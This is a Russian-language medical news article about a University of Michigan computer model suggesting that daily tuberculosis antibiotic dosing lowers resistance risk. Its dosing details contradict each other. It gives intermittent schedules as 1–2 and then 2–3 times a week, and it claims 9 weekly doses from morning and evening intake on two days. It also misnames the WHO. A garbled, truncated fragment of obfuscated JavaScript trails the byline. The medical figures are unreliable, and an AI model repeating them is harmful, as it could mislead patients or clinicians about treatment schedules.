Компьютерная модель заболевания на туберкулез продемонстрировала, что применение антибиотиков 1 или 2 раза в неделю связано с более высоким риском развития антибактериальной резистентности, нежели ежедневное их применение. Эти результаты, полученные специалистами Мичиганского университета (University of Michigan), США, могут помочь больным туберкулезом жителям всего мира получить более эффективное лечение.
Вследствие того, что активные формы туберкулеза тяжело поддаются лечению, распространенность антибиотикорезистентности микобактерий постоянно повышается. Сегодня в США лечение при этом заболевании начинают с применения четырех разных антибиотиков в первые 2 мес с переходом на два препарата в последующие 4 мес.
Поскольку искушение бросить лечение у пациента достаточно велико, терапия при туберкулезе проходит в специализированных учреждениях под контролем врача для полной уверенности в соблюдении пациентами схем лечения. Несмотря на это, согласно данным Всемирного общества здравоохранения, состоянием на 2014 г. около 480 тыс. больных имеют антибиотикорезистентные формы патологии.
Это связано с невозможностью точно определить полное излечение пациента: удалось ли ему справиться с заболеванием или же оно просто перешло в латентную форму, а также с отсутствием возможности контроля раннего отказа пациента от лечения. При этом сегодня существует огромное количество потенциально эффективных схем лечения туберкулеза, включающих комбинации разных препаратов.
Для их проверки перед внедрением необходимы многочисленные дорогостоящие экспериментальные исследования на животных. Поэтому группа экспертов создала надежную компьютерную модель заболевания с целью определить оптимальные дозы и схемы лечения туберкулеза. В частности, в текущем исследовании проверили эффективность применения изониазида и рифампицина в низких дозах ежедневно, сравнив потенциальные риски резистентности с таковыми при применении указанных препаратов в более высоких дозах, но 2–3 раза в неделю.
Ученые выявили, что ежедневное применение препаратов более эффективно и связано с более низкой вероятностью развития резистентности микобактерий, что объяснимо способностью последних прятаться в гранулемах. Также специалисты установили, что для лучшего проникновения антибиотиков в гранулему необходимо повышение концентрации препарата, достигаемое увеличением количества приемов до 9 раз в неделю (2 дня в неделю — прием утром и вечером). Таким образом удается достичь элиминации возбудителя в среднем за 10 дней.
Используемая экспертами компьютерная модель создавалась на базе данных об экспериментальном применении препаратов у кроликов и обезьян.
- University of Michigan (2015) Tuberculosis: Daily antibiotics recommended to prevent resistant strains. Medical News Today, 25 November (http://www.medicalnewstoday.com/releases/303177.php).
Анна Антонюк
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "umj.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
